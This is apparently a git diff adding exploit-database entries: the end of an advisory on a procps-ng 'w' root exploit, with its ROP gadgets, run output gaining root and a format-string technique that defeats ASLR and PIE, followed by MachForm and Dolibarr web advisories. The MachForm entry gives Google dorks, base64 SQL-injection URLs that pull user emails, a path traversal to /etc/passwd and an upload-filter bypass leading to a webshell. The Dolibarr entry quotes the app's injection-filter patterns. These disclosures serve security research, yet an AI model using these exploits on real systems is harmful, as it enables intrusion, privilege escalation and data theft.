+- the first gadget that we execute, 0x4020bb, pivots the stack pointer
+ to RDI (which points to the very beginning of the PROCTAB structure):
+ "push rdi; ...; pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;"
+
+- the second gadget that we execute, 0x4029db, increases the stack
+ pointer by 0xffb8 bytes (it would otherwise crash into the beginning
+ of the heap, because the stack grows down): "ret 0xffb8;"
+
+- the third gadget that we execute, 0x401100, calls
+ _dl_runtime_resolve() and _dl_fixup() with our own "relocarg" (this
+ effectively calls system() with the command located at RDI,
+ "id>>/tmp/w.$$"):
+
+ 401100: ff 35 02 2f 20 00 pushq 0x202f02(%rip)
+ 401106: ff 25 04 2f 20 00 jmpq *0x202f04(%rip)
+
+- the fourth gadget that we execute, 0x402a50, makes a clean exit:
+
+ 402a50: bf 01 00 00 00 mov $0x1,%edi
+ 402a55: e8 36 e7 ff ff callq 401190 <_exit@plt>
+
+$ ./w-exploit-Non-PIE
+positive_tot 2147482113
+distance_tot 2147482112
+distance 12024752
+...
+distance 12024752
+off 279917264
+ver_beg 2e26ce0 ver_end 5426ce0
+rel_beg 15f19fb0 rel_end 18519fb0
+str_beg 2900d280 str_end 2b60d280
+sym_beg 3c100570 sym_end 3e700570
+reloc_arg 16957128
+nentries 5
+POSITIVE_TOT 2147482113
+DISTANCE_TO_PT 1
+negwrite_off 2147485183
+nentries 1
+ready
+
+Then, if an administrator executes w:
+
+# cat /tmp/w.*
+cat: '/tmp/w.*': No such file or directory
+
+# w
+
+# cat /tmp/w.*
+uid=0(root) gid=0(root) groups=0(root)
+
+========================================================================
+5.5. PIE exploitation
+========================================================================
+
+In this section, we describe our proof-of-concept exploit against the
+PIE "w" on Debian 9 and Fedora 27. The first technique that we tried, a
+partial overwrite of a function pointer in the PROCTAB structure, does
+not work:
+
+- we are limited to a 2-byte overwrite, or else we lose the "one-shot"
+ quality of our exploit (we must brute-force the random bits that we
+ overwrite);
+
+- the original function pointer refers to a piece of code in libprocps
+ that offers a very limited choice of gadgets;
+
+- file2strvec() ends our command-line argument strings (which overwrite
+ the function pointer) with a null byte, and further reduces the number
+ of available gadgets.
+
+Our second, working technique is derived from halfdog's fascinating
+https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and
+transforms libprocps's integer overflow and memory corruption into a
+format-string exploit:
+
+- we overwrite the dirname pointer to "/usr/share/locale" (a member of
+ the struct binding malloc()ated at the very beginning of w's heap by
+ bindtextdomain()) with a pointer to "/tmp" -- we do not need to worry
+ about ASLR, because we arrange for file2strvec() to overwrite dirname
+ with a pointer to our command-line argument strings; alternatively, we
+ could overwrite the "procps-ng" string (malloc()ated at the beginning
+ of w's heap by textdomain()), but this would also overwrite the chunk
+ header of the struct PROCTAB, and would cause a crash in closeproc();
+
+- we thereby control the translation strings returned by the *gettext()
+ functions and the _() macro (the overwritten dirname pointer is used
+ to construct the names of the translation files ".mo") and therefore
+ control two format-strings in w's main():
+
+591 printf(_("%-*s TTY "), userlen, _("USER"));
+...
+595 printf(_(" LOGIN@ IDLE JCPU PCPU WHAT\n"));
+
+- we exploit the first format-string to create a pointer to a saved RIP
+ on the stack, and we write this pointer to the stack itself;
+
+- we use this pointer, and the second format-string, to overwrite the
+ saved RIP with the address of a useful libc gadget (we return into
+ popen() on Debian 9, and wordexp() on Fedora 27).
+
+However, unlike halfdog, we cannot defeat ASLR by simply dumping the
+contents of the stack with a format-string, because we have not access
+to the output of "w" (it is executed by another user, administrator, or
+script). Instead, we implement Chris Evans's "read-add-write" primitive
+https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html
+("Trick #6: co-opting an addition primitive") with format-strings only.
+
+With the first format-string:
+
+- we "read" the LSW (Least Significant Word, 32 bits) of a stack pointer
+ that is located on the stack itself and hence accessible through the
+ format-string arguments -- for example, the argv pointer;
+
+- we "add" a distribution-specific constant to this LSW, to make it
+ point to a saved RIP on the stack -- for example, the saved RIP pushed
+ onto the stack by the call to printf_positional() in vfprintf();
+
+- we "write" this modified LSW to the LSW of another stack pointer that
+ is also located on the stack itself and hence accessible through the
+ format-string arguments -- for example, the argv[0] pointer.
+
+With the second format-string:
+
+- we "read" the LSW of a libc pointer that is located on the stack and
+ hence accessible through the format-string arguments -- for example,
+ the pointer to __libc_start_main();
+
+- we "add" a distribution-specific constant to this LSW, to make it
+ point to a useful libc gadget -- for example, popen() or wordexp();
+
+- we "write" this modified LSW to the LSW of a saved RIP on the stack:
+ we use the pointer (to the saved RIP) created on the stack by the
+ first format-string.
+
+To implement the "read-add-write" primitive:
+
+- we "read" the LSW of a pointer (we load it into vfprintf's internal
+ character counter) through a variable-width specifier such as "%*R$x",
+ where R is the position (among the format-string arguments on the
+ stack) of the to-be-read pointer;
+
+- we "add" a constant A to this LSW through a constant-width specifier
+ such as "%Ax";
+
+- we "write" this modified LSW to the LSW of another pointer through a
+ specifier such as "%W$n", where W is the position (among the format-
+ string arguments on the stack) of a pointer to the to-be-overwritten
+ pointer (for example, in our first format-string we overwrite the LSW
+ of the argv[0] pointer through the argv pointer, and in our second
+ format-string we overwrite the LSW of a saved RIP through the
+ overwritten argv[0] pointer); in summary:
+
+ . if we want to "add" a constant to the LSW that we "read", we use a
+ simple format-string such as "%*R$x%Ax%W$n", where A is equal to the
+ constant that we want to add;
+
+ . if we want to "subtract" a constant from the LSW that we "read", we
+ use a format-string such as "%*R$x%W$n%Ax%W$hn", where A is equal to
+ 65536 minus the constant that we want to subtract (the smaller the
+ constant, the higher the probability of success).
+
+This generic technique defeats NX, ASLR, PIE, SSP, and FORTIFY, but it
+suffers from three major drawbacks:
+
+- it requires two different format-strings, because it must reset
+ vfprintf's internal character counter between the two "read-add-write"
+ primitives;
+
+- its probability of success is 1/4 (not a one-shot, but not a
+ brute-force either), because the probability of success of each
+ "read-add-write" primitive is 1/2 (the randomized LSW that is "read"
+ as an "int width" must be positive), and the stack is randomized
+ independently of the libc;
+
+- it outputs 2*1GB on average (2*2GB at most): this may be acceptable if
+ the target utility is executed by a script or daemon, but not if it is
+ executed manually by an administrator (terminal escape sequences may
+ be used to overcome this drawback, but we did not explore this
+ possibility yet).
+
+It is also possible to implement distribution-specific variants of this
+generic technique: for example, we developed a Debian-specific version
+of our "w" exploit that requires only one format-string, has an 11/12
+probability of success (nearly one-shot), and outputs only a few
+kilobytes. This is left as an exercise for the interested reader.
+
+
+========================================================================
+Acknowledgments
+========================================================================
+
+We thank Craig Small and the members of linux-distros@openwall and
+security@kernel.
+
+
+========================================================================
+Patches.tar.gz.b64
+========================================================================
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\ No newline at end of file
diff --git a/exploits/macos/webapps/44803.txt b/exploits/macos/webapps/44803.txt
new file mode 100644
index 000000000..e7d8c4d30
--- /dev/null
+++ b/exploits/macos/webapps/44803.txt
@@ -0,0 +1,17 @@
+# Exploit title: Yosoro 1.0.4 - Remote Code Execution
+# Date: 2018-05-29
+# Exploit Author: Carlo Pelliccioni
+# Vendor homepage: https://yosoro.coolecho.net/
+# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip
+# Version: 1.0.4
+# Tested on: MacOS 10.13.4
+# CVE: CVE-2018-11522
+# _ _ _ _ _ ___ _ _
+# | || | __ _ __ | |__| |_ (_)__ __ ___ / __| ___ __ _ _ _ _ (_)| |_ _ _
+# | __ |/ _` |/ _|| / /| _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| || _|| || |
+# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_| |_| \__| \_, |
+
+# Remote Code Execution (CVE-2018-11522)
+# Payload:
+
+
\ No newline at end of file
diff --git a/exploits/php/webapps/44804.txt b/exploits/php/webapps/44804.txt
new file mode 100644
index 000000000..cfec1e147
--- /dev/null
+++ b/exploits/php/webapps/44804.txt
@@ -0,0 +1,105 @@
+Vendor: Appnitro
+Product webpage: https://www.machform.com/
+Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/
+Fix: https://www.machform.com/blog-machform-423-security-release/
+
+Author: Amine Taouirsa
+Twitter: @metalamin
+
+Google dork examples:
+----------------------
+"machform" inurl:"view.php"
+"machform" inurl:"embed.php"
+
+Summary:
+---------
+The form creation platform MachForm from Appnitro is subject to SQL
+injections that lead to path traversal and arbitrary file upload.
+
+The application is widely deployed and with some google dorks it’s possible
+to find various webpages storing sensitive data as credit card numbers with
+corresponding security codes. Also, the arbitrary file upload can let an
+attacker get control of the server by uploading a WebShell.
+
+[1] SQL injection (CVE-2018-6410):
+-------------------------
+
+[1.1] Description:
+The software is subject to SQL injections in the ‘download.php’ file.
+
+[1.2] Parameters and statement:
+This SQLi can be found on the parameter ‘q’ which a base64 encoded value
+for the following parameters:
+
+ $form_id = $params['form_id'];
+ $id = $params['id'];
+ $field_name = $params['el'];
+ $file_hash = $params['hash'];
+
+
+So the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based,
+stacked queries and time-based blind SQL injections. This is due to the
+following vulnerable statement:
+
+ $query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}`
+where id=?";
+
+
+[1.3] POC
+Proof of concept to get the first user mail:
+ http:// [URL] / [Machform_folder] /download.php?q=
+ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgy
+MDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3Vz
+ZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1Io
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+Ul9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=
+
+Which is the base64 encoding for:
+ el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT
+MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT
+0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
+BY x)a) ;&id=1&hash=1&form_id=1
+
+
+[2] Path traversal (CVE-2018-6409):
+-----------------------------------
+
+[2.1] Descrition
+download.php’ is used to serve stored files from the forms answers.
+Modifying the name of the file to serve on the corresponding ap_form table
+leads to a path traversal vulnerability.
+
+[2.2] POC
+First we need to change the name for the element on the form:
+update ap_form_58009 set element_4="../../../../../../.
+./../../../../../../../../../etc/passwd" where id=1;
+
+Now in order to be able to download it, we need to access:
+ http:// [URL] / [Machform_folder] /download.php?q=
+ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0
+NTgmZm9ybV9pZD01ODAwOQo=
+
+Which is the base64 encoding for;
+ el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009
+
+Note that hash is the MD5 of the corresponding filename:
+ md5("../../../../../../../../../../../../../../../../etc/passwd") =
+402ba0230d6f44a2de590ac11107a458
+
+[3] Bypass file upload filter (CVE-2018-6411):
+----------------------------------------------
+
+When the form is set to filter a blacklist, it automatically add dangerous
+extensions to the filters.
+If the filter is set to a whitelist, the dangerous extensions can be
+bypassed.
+
+This can be done directly on the database via SQLi
+update ap_form_elements set element_file_type_list="php",
+element_file_block_or_allow="a" where form_id=58009 and element_id=4;
+
+Once uploaded the file can be found and executed in the following URL:
+http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]
+
+The filename can be found in the database
+SELECT element_4 FROM ap_form_58009 WHERE id=1;
\ No newline at end of file
diff --git a/exploits/php/webapps/44805.txt b/exploits/php/webapps/44805.txt
new file mode 100644
index 000000000..6ebe306ea
--- /dev/null
+++ b/exploits/php/webapps/44805.txt
@@ -0,0 +1,204 @@
+# [CVE-2018-10094] Dolibarr SQL Injection vulnerability
+
+
+## Description
+
+Dolibarr is an "Open Source ERP & CRM for Business" used by many
+companies worldwide.
+
+It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
+or as distribution packages (e.g .deb package).
+
+**Threat**
+
+The application does not handle user input properly and allows execution
+of arbitrary SQL commands on the database.
+
+**Expectation**
+
+Prepared queries should be used in order to avoid SQL injection in user
+input.
+
+
+## Vulnerability type
+
+**CVE ID**: CVE-2018-10094
+
+**Access Vector**: remote
+
+**Security Risk**: high
+
+**Vulnerability**: CWE-89
+
+**CVSS Base Score**: 7.5
+
+**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+
+
+## Details
+
+The database connector escapes quotes with the `real_escape_string()`
+wrapper. However it is still possible to perform injection on integer
+parameters without quotes.
+
+```php
+mysqli.class.php
+
+ /**
+ * Escape a string to insert data
+ *
+ * @param string $stringtoencode String to escape
+ * @return string String escaped
+ */
+ function escape($stringtoencode)
+ {
+ return $this->db->real_escape_string($stringtoencode);
+ }
+```
+
+Additional checks are defined later, which forbit some SQL keywords (e.g
+`union`, `create`, `insert`). However, by url encoding the payload,
+these checks are bypassed.
+
+```php
+main.inc.php
+
+/**
+ * Security: SQL Injection and XSS Injection (scripts) protection
+(Filters on GET, POST, PHP_SELF).
+ *
+ * @param string $val Value
+ * @param string $type 1=GET, 0=POST, 2=PHP_SELF
+ * @return int >0 if there is an injection
+ */
+function test_sql_and_script_inject($val, $type)
+{
+ $inj = 0;
+ // For SQL Injection (only GET are used to be included into bad
+escaped SQL requests)
+ if ($type == 1)
+ {
+ $inj += preg_match('/updatexml\(/i', $val);
+ $inj += preg_match('/delete\s+from/i', $val);
+ $inj += preg_match('/create\s+table/i', $val);
+ $inj += preg_match('/insert\s+into/i', $val);
+ $inj += preg_match('/select\s+from/i', $val);
+ $inj += preg_match('/into\s+(outfile|dumpfile)/i', $val);
+ }
+ if ($type != 2) // Not common, we can check on POST
+ {
+ $inj += preg_match('/update.+set.+=/i', $val);
+ $inj += preg_match('/union.+select/i', $val);
+ $inj += preg_match('/(\.\.%2f)+/i', $val);
+ }
+ // For XSS Injection done by adding javascript with script
+ // This is all cases a browser consider text is javascript:
+ // When it found '
+ $inj += preg_match('/onerror\s*=/i', $val); // onerror can be
+set on img or any html tag like
+ $inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be
+set on input text html tag like
+ $inj += preg_match('/onload\s*=/i', $val); // onload can be
+set on svg tag